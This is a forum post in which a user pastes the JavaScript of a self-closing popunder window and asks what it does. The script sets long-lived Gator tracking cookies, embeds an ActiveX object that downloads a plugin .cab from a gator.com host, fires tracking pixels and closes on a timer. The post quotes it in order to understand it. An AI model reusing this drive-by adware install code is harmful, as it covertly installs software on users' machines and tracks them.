gator script on my PC

admin

Administrator
Staff member
when I opend a certain website with my OPERA browser a small window appears and after some time it disappears.
I do not know much about javascript, but as the sourcecode of that window seems to set and overwrite cookies, dowload gator spayware and then closes after some time. Here is the sourcecode:





<script language="JavaScript">
var pdppi_loaded = false;

function sendPartnerEvent( ){
var event_src = "";
if( event_src ){
document.partnerEventPixel.src = event_src;
}
}

function changeEventPixelSrc( eventid, eventnum ){
var event_src = "/uniq3/Pg8iWAr6AhQAAG6nAu8" + eventnum + ".gif?yic=HIC_AdDynamixINT&eventid=" + eventid + "&reason=0&wuid=Pg8iWAr6AhQAAG6nAu8&ver=0";
switch( eventnum ){
case 2:
document.eventPixel2.src = event_src;
break;
default:
document.eventPixel1.src = event_src;
}
}

function openNew( ){
var pos_top = (screen.height/2)-(350/2);
var pos_left = (screen.width/2)-(600/2);
window.open( '','ncr','width=600,height=350,top=' + pos_top + ',left=' + pos_left );
}

function sleep_close( wait ){
var jsTimer = wait * 1000;
setTimeout("window.close();",jsTimer);
return true;
}

function checkPlugin( ){
var js_plugin_error = 0;
var strObjType = typeof( IEGator );
if( 'object' == strObjType ){
var strParamsType = typeof( IEGator.params );
if ( strParamsType != 'string' ){
js_plugin_error += 1;
}
} else {
if('undefined' == strObjType){
js_plugin_error += 2;
}
else if( 'unknown' == strObjType ){
js_plugin_error += 4;
} else {
js_plugin_error += 8;
}
}

setCookie( "GatorWebPdpCookie_OfferedApps", "datemanager:1|precisiontime:1", 30 );
setCookie( "GatorWebPdpCookie_WUID", "Pg8iWAr6AhQAAG6nAu8", 3650 );
setCookie( "GatorWebPdpCookie_PluginTimer", 1041181024, 3650 );
setCookie( "GatorWebPdpCookie_VisitedPartners", "hic_addynamixint:1", 30 );

if( js_plugin_error == 0 || pdppi_loaded ){
window.focus();
setCookie( "GatorWebPdpCookie_ApprovedApps", "datemanager|precisiontime", 3650 );
changeEventPixelSrc( 4011, 2 );
sendPartnerEvent( );
} else {
changeEventPixelSrc( 4012, 2 );

sleep_close( 30 );
}


}

function setCookie( name, value, days ){
var expiry = 1000 * 60 * 60 * 24 * days;
var expDate = new Date();
expDate.setTime(expDate.getTime() + expiry);
document.cookie = name + "=" + escape( value ) + "; expires=" + expDate.toGMTString() + "; path=/; domain=.gator.com";
}

function embedPlugin( ){
document.writeln( "<object" );
document.writeln( " id=\"IEGator\"" );
document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
document.writeln( " align=\"baseline\"" );
document.writeln( " border=\"0\"" );
document.writeln( " width=\"2\"" );
document.writeln( " height=\"2\">" );
document.writeln( " " );
document.writeln( " " );
document.writeln( "" );
}


<script language="JavaScript" for="IEGator" event="onPluginCreated()">
pdppi_loaded = true;
return 7;

Please Wait ...








<script language="JavaScript1.2">
changeEventPixelSrc( 4001, 1 );
embedPlugin();





=================================================

Has anybod enough experience with javascript to tell us exactly what this disapearing popunder does?

rolli
 
Back
Top